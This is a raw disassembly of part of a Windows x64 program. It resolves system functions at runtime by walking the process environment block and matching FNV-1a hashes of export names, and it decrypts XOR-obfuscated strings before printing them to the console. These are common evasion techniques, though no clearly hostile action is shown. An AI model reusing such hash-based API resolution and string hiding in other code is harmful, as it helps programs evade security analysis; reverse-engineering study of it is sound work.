call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2e38
movdqa xmm0, xmmword [0x1400f93e0]
movdqu xmmword [rbp + 0x300], xmm0
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0x708]
cmp rdx, 0xf
jbe 0x140028ab0
inc rdx
mov rcx, qword [rbp + 0x6f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028aab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028aab
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2e38
movdqa xmm0, xmmword [0x1400f93e0]
movdqu xmmword [rbp + 0x700], xmm0
mov byte [rbp + 0x6f0], 0
mov rdx, qword [rbp + 0xa78]
cmp rdx, 0xf
jbe 0x140028b0b
inc rdx
mov rcx, qword [rbp + 0xa60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028b06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028b06
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2e38
movdqa xmm0, xmmword [0x1400f93e0]
movdqu xmmword [rbp + 0xa70], xmm0
mov byte [rbp + 0xa60], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140028bb3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140028bb3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140028bae
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028b90
cmp ebx, 0xbc0e3315
je 0x140028bb8
test r8d, r8d
jne 0x140028b70
mov rax, qword [rax]
jmp 0x140028b40
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
mov edx, 0xa
mov rcx, r13
call rax
movabs rax, 0x6868b639c9e25a4
mov qword [rsp + 0x50], rax
movabs rcx, 0xc47c20b2107dbce
mov qword [rsp + 0x58], rcx
xorps xmm2, xmm2
movabs rax, 0x6a6b136ccdd2fae
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
lea rax, [rbp + 0x1938]
mov rcx, r14
nop dword [rax + rax]
mov qword [rax - 8], rsi
mov qword [rax], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140028c20
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x16d0], xmm0
movaps xmmword [rbp + 0x16e0], xmm2
movaps xmm0, xmmword [rbp + 0x1950]
movaps xmmword [rbp + 0x16f0], xmm0
movaps xmm1, xmmword [rbp + 0x1960]
movaps xmmword [rbp + 0x1700], xmm1
movaps xmm0, xmmword [rbp + 0x1970]
movaps xmmword [rbp + 0x1710], xmm0
movaps xmm1, xmmword [rbp + 0x1980]
movaps xmmword [rbp + 0x1720], xmm1
movaps xmm0, xmmword [rbp + 0x1990]
movaps xmmword [rbp + 0x1730], xmm0
movaps xmm1, xmmword [rbp + 0x19a0]
movaps xmmword [rbp + 0x1740], xmm1
lea rdx, [rbp + 0x16d0]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001c1e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140028d43
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140028d43
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140028d3e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028d20
cmp ebx, 0xbc0e3315
je 0x140028d48
test r8d, r8d
jne 0x140028d00
mov rax, qword [rax]
jmp 0x140028cd0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
mov edx, 7
mov rcx, r13
call rax
lea rdx, [rbp + 0xcd50]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001c1e0
lea rdx, [0x14001d2c0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, r13
call qword [sym.imp.kernel32.dll_SetConsoleTextAttribute]
movabs rax, 0x1d4818a61ea55743
mov qword [rsp + 0x50], rax
movabs rax, 0x7d59341bf319fbee
mov qword [rsp + 0x58], rax
xorps xmm2, xmm2
movabs rax, 0x712c36ca72c1232d
mov qword [rsp + 0x70], rax
movabs rax, 0x7d59341bf319fb82
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0x1e18]
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
mov qword [rax - 8], rsi
mov qword [rax], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140028df0
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x1e10], xmm0
movdqa xmmword [rbp + 0x1e20], xmm2
lea rcx, [rbp + 0x5220]
lea rax, [rbp + 0x1e10]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140028f13
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140028f13
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140028f0e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028ef0
cmp ebx, 0xe463da3c
je 0x140028f18
test r8d, r8d
jne 0x140028ed0
mov rax, qword [rax]
jmp 0x140028ea0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rbp + 0x5220]
call rdx
mov rsi, rax
movabs rax, 0xbf00fb9d1b041e0
movabs rcx, 0x6fe3570764ee62da
movabs rdx, 0x60916acb93d723a4
movabs rbx, 0x6fe357730a870d8a
test rsi, rsi
je 0x140029123
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
xorps xmm2, xmm2
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], rbx
lea rax, [rbp + 0x2498]
mov rcx, r14
xor edi, edi
nop
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140028f90
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x2490], xmm0
movdqa xmmword [rbp + 0x24a0], xmm2
lea rcx, [rbp + 0x7bc0]
lea rax, [rbp + 0x2490]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400290d3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400290d3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400290ce
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400290b0
cmp ebx, 0xf8f45725
je 0x1400290d8
test r8d, r8d
jne 0x140029090
mov rax, qword [rax]
jmp 0x140029060
movabs rax, 0x1d4818a61ea55743
mov qword [rsp + 0x50], rax
movabs rax, 0x7d59341bf319fbee
mov qword [rsp + 0x58], rax
xorps xmm2, xmm2
movabs rax, 0x712c36ca72c1232d
mov qword [rsp + 0x70], rax
movabs rax, 0x7d59341bf319fb82
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0x1d78]
mov rcx, r14
xor edx, edx
nop
mov qword [rax - 8], rdx
mov qword [rax], rdx
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140029170
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x1d70], xmm0
movdqa xmmword [rbp + 0x1d80], xmm2
lea rcx, [rbp + 0x52c0]
lea rax, [rbp + 0x1d70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140029293
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140029293
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002928e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140029270
cmp ebx, 0xe463da3c
je 0x140029298
test r8d, r8d
jne 0x140029250
mov rax, qword [rax]
jmp 0x140029220
call fcn.14000a6f0
nop
lea rcx, [rbp + 0xc6b0]
call fcn.140002810
nop
lea rcx, [rbp + 0xc670]
call fcn.14000a6f0
xor eax, eax
mov rcx, qword [rbp + 0xcd90]
xor rcx, rsp
call fcn.1400f3250
lea r11, [rsp + 0xcf20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400020b0
nop
call fcn.1400020b0
int3